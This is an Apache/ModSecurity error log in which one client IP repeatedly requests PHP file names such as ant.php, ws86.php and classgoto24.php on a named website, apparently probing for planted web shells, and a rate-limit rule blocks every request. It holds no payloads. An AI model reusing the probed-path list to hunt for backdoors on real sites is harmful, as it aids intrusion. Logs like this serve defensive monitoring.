[Wed Apr 01 19:27:03.638702 2026] [:error] [pid 8909:tid 8949] [client 52.156.211.140:3984] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "ac0BBzvP_a0662gDl6BwZwAAAMg"]
[Wed Apr 01 19:27:05.004002 2026] [:error] [pid 8910:tid 8977] [client 52.156.211.140:37017] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "ac0BCaJZINUcF3tYgExHHQAAAQk"]
[Wed Apr 01 19:27:05.505719 2026] [:error] [pid 8995:tid 9022] [client 52.156.211.140:3977] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "ac0BCeonaBjs3qxcReeqVQAAABg"]
[Wed Apr 01 19:27:06.125871 2026] [:error] [pid 8995:tid 9012] [client 52.156.211.140:4046] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "ac0BCuonaBjs3qxcReeqVgAAAA4"]
[Wed Apr 01 19:27:06.649706 2026] [:error] [pid 62559:tid 62581] [client 52.156.211.140:3997] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "ac0BCi7NKI8IaNKZFId6HQAAAVQ"]
[Wed Apr 01 19:27:08.173837 2026] [:error] [pid 8908:tid 8926] [client 52.156.211.140:4080] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "ac0BDPkmxtJXGnLdvgBaawAAAI0"]
[Wed Apr 01 19:27:08.685981 2026] [:error] [pid 17856:tid 17860] [client 52.156.211.140:4093] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "ac0BDD7Idlm5j9frhqTxLQAAAEI"]
[Wed Apr 01 19:27:09.206899 2026] [:error] [pid 62559:tid 62582] [client 52.156.211.140:37051] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "ac0BDS7NKI8IaNKZFId6KAAAAVU"]
[Wed Apr 01 19:27:09.730442 2026] [:error] [pid 17856:tid 17876] [client 52.156.211.140:37216] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "ac0BDT7Idlm5j9frhqTxMQAAAFI"]
[Wed Apr 01 19:27:10.244251 2026] [:error] [pid 8909:tid 8955] [client 52.156.211.140:37237] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "ac0BDjvP_a0662gDl6BwcQAAAM4"]
[Wed Apr 01 19:27:10.761772 2026] [:error] [pid 17856:tid 17861] [client 52.156.211.140:37021] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "ac0BDj7Idlm5j9frhqTxNwAAAEM"]
[Wed Apr 01 19:27:11.272999 2026] [:error] [pid 8909:tid 8956] [client 52.156.211.140:37019] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "ac0BDzvP_a0662gDl6BwdwAAAM8"]
[Wed Apr 01 19:27:11.834460 2026] [:error] [pid 8909:tid 8942] [client 52.156.211.140:37184] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "ac0BDzvP_a0662gDl6BwfQAAAME"]
[Wed Apr 01 19:27:12.338756 2026] [:error] [pid 17856:tid 17874] [client 52.156.211.140:37028] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "ac0BED7Idlm5j9frhqTxOwAAAFA"]
[Wed Apr 01 19:27:12.941596 2026] [:error] [pid 8909:tid 8947] [client 52.156.211.140:37035] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ant.php"] [unique_id "ac0BEDvP_a0662gDl6BwhgAAAMY"]
[Wed Apr 01 19:27:13.441918 2026] [:error] [pid 17856:tid 17878] [client 52.156.211.140:37049] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ant.php"] [unique_id "ac0BET7Idlm5j9frhqTxPwAAAFQ"]
[Wed Apr 01 19:27:14.043841 2026] [:error] [pid 17856:tid 17869] [client 52.156.211.140:37235] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ant.php"] [unique_id "ac0BEj7Idlm5j9frhqTxQwAAAEs"]
[Wed Apr 01 19:27:14.563709 2026] [:error] [pid 8910:tid 8969] [client 52.156.211.140:37006] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ant.php"] [unique_id "ac0BEqJZINUcF3tYgExHKQAAAQE"]
[Wed Apr 01 19:27:15.125861 2026] [:error] [pid 8909:tid 8953] [client 52.156.211.140:3992] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "ac0BEzvP_a0662gDl6BwigAAAMw"]
[Wed Apr 01 19:27:15.650311 2026] [:error] [pid 62559:tid 62574] [client 52.156.211.140:37230] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "ac0BEy7NKI8IaNKZFId6NAAAAU0"]
[Wed Apr 01 19:27:16.205755 2026] [:error] [pid 8909:tid 8945] [client 52.156.211.140:37044] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "ac0BFDvP_a0662gDl6BwjwAAAMQ"]
[Wed Apr 01 19:27:16.725307 2026] [:error] [pid 8910:tid 8976] [client 52.156.211.140:3969] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "ac0BFKJZINUcF3tYgExHLgAAAQg"]
[Wed Apr 01 19:27:18.278605 2026] [:error] [pid 8910:tid 8972] [client 52.156.211.140:4088] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "ac0BFqJZINUcF3tYgExHMwAAAQQ"]
[Wed Apr 01 19:27:18.803157 2026] [:error] [pid 17856:tid 17868] [client 52.156.211.140:37222] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "ac0BFj7Idlm5j9frhqTxTQAAAEo"]
[Wed Apr 01 19:27:19.383670 2026] [:error] [pid 17856:tid 17859] [client 52.156.211.140:3968] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "ac0BFz7Idlm5j9frhqTxUAAAAEE"]
[Wed Apr 01 19:27:19.910701 2026] [:error] [pid 62559:tid 62568] [client 52.156.211.140:36995] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "ac0BFy7NKI8IaNKZFId6PgAAAUc"]
[Wed Apr 01 19:27:20.426804 2026] [:error] [pid 8909:tid 8942] [client 52.156.211.140:4006] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ac0BGDvP_a0662gDl6BwogAAAME"]
[Wed Apr 01 19:27:20.935309 2026] [:error] [pid 17856:tid 17882] [client 52.156.211.140:4033] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ac0BGD7Idlm5j9frhqTxVwAAAFg"]
[Wed Apr 01 19:27:22.483978 2026] [:error] [pid 8909:tid 8952] [client 52.156.211.140:4067] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ac0BGjvP_a0662gDl6BwrwAAAMs"]
[Wed Apr 01 19:27:22.986577 2026] [:error] [pid 17856:tid 17859] [client 52.156.211.140:3980] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ac0BGj7Idlm5j9frhqTxXQAAAEE"]
[Wed Apr 01 19:27:23.490459 2026] [:error] [pid 8909:tid 8955] [client 52.156.211.140:4028] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "ac0BGzvP_a0662gDl6BwuAAAAM4"]
[Wed Apr 01 19:27:23.992454 2026] [:error] [pid 8909:tid 8951] [client 52.156.211.140:4090] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "ac0BGzvP_a0662gDl6BwuQAAAMo"]
[Wed Apr 01 19:27:24.520618 2026] [:error] [pid 8909:tid 8945] [client 52.156.211.140:4084] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "ac0BHDvP_a0662gDl6BwvgAAAMQ"]
[Wed Apr 01 19:27:25.610567 2026] [:error] [pid 17856:tid 17859] [client 52.156.211.140:3981] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "ac0BHT7Idlm5j9frhqTxaAAAAEE"]
[Wed Apr 01 19:27:27.161016 2026] [:error] [pid 8909:tid 8948] [client 52.156.211.140:37032] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "ac0BHzvP_a0662gDl6BwxgAAAMc"]
[Wed Apr 01 19:27:27.676074 2026] [:error] [pid 8909:tid 8946] [client 52.156.211.140:37022] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "ac0BHzvP_a0662gDl6BwywAAAMU"]
[Wed Apr 01 19:27:28.186277 2026] [:error] [pid 8910:tid 8985] [client 52.156.211.140:37199] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "ac0BIKJZINUcF3tYgExHZQAAARE"]
[Wed Apr 01 19:27:28.700960 2026] [:error] [pid 17856:tid 17878] [client 52.156.211.140:37205] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "ac0BID7Idlm5j9frhqTxcAAAAFQ"]
[Wed Apr 01 19:27:30.204761 2026] [:error] [pid 8909:tid 8944] [client 52.156.211.140:37002] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws43.php"] [unique_id "ac0BIjvP_a0662gDl6Bw3AAAAMM"]
[Wed Apr 01 19:27:30.744981 2026] [:error] [pid 8909:tid 8949] [client 52.156.211.140:3973] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws43.php"] [unique_id "ac0BIjvP_a0662gDl6Bw4AAAAMg"]
[Wed Apr 01 19:27:31.246753 2026] [:error] [pid 8995:tid 9012] [client 52.156.211.140:37218] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws43.php"] [unique_id "ac0BI-onaBjs3qxcReeqYwAAAA4"]
[Wed Apr 01 19:27:31.745731 2026] [:error] [pid 17856:tid 17858] [client 52.156.211.140:3928] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws43.php"] [unique_id "ac0BIz7Idlm5j9frhqTxdQAAAEA"]
[Wed Apr 01 19:27:32.266337 2026] [:error] [pid 8908:tid 8922] [client 52.156.211.140:4041] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "ac0BJPkmxtJXGnLdvgBahAAAAIk"]
[Wed Apr 01 19:27:32.779966 2026] [:error] [pid 8908:tid 8928] [client 52.156.211.140:4055] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "ac0BJPkmxtJXGnLdvgBahQAAAI8"]
[Wed Apr 01 19:27:33.290764 2026] [:error] [pid 62559:tid 62564] [client 52.156.211.140:37055] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "ac0BJS7NKI8IaNKZFId6SAAAAUM"]
[Wed Apr 01 19:27:34.649029 2026] [:error] [pid 8995:tid 9017] [client 52.156.211.140:4012] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "ac0BJuonaBjs3qxcReeqagAAABM"]
[Wed Apr 01 19:27:35.166350 2026] [:error] [pid 62559:tid 62565] [client 52.156.211.140:4081] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ac0BJy7NKI8IaNKZFId6TQAAAUQ"]
[Wed Apr 01 19:27:35.735367 2026] [:error] [pid 62559:tid 62575] [client 52.156.211.140:4077] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ac0BJy7NKI8IaNKZFId6TwAAAU4"]
[Wed Apr 01 19:27:36.244781 2026] [:error] [pid 62559:tid 62569] [client 52.156.211.140:4092] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ac0BKC7NKI8IaNKZFId6UQAAAUg"]
[Wed Apr 01 19:27:36.837331 2026] [:error] [pid 62559:tid 62562] [client 52.156.211.140:3913] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ac0BKC7NKI8IaNKZFId6UgAAAUE"]
[Wed Apr 01 19:27:37.350040 2026] [:error] [pid 8909:tid 8955] [client 52.156.211.140:4060] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ac0BKTvP_a0662gDl6Bw7wAAAM4"]
[Wed Apr 01 19:27:37.851816 2026] [:error] [pid 62559:tid 62583] [client 52.156.211.140:37036] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ac0BKS7NKI8IaNKZFId6VQAAAVY"]
[Wed Apr 01 19:27:38.378692 2026] [:error] [pid 8910:tid 8972] [client 52.156.211.140:3976] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ac0BKqJZINUcF3tYgExHiAAAAQQ"]
[Wed Apr 01 19:27:38.876884 2026] [:error] [pid 8908:tid 8936] [client 52.156.211.140:37047] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ac0BKvkmxtJXGnLdvgBajQAAAJc"]
[Wed Apr 01 19:27:39.392574 2026] [:error] [pid 17856:tid 17862] [client 52.156.211.140:4027] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/size.php"] [unique_id "ac0BKz7Idlm5j9frhqTxgQAAAEQ"]
[Wed Apr 01 19:27:39.905893 2026] [:error] [pid 8909:tid 8943] [client 52.156.211.140:4062] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/size.php"] [unique_id "ac0BKzvP_a0662gDl6Bw9gAAAMI"]
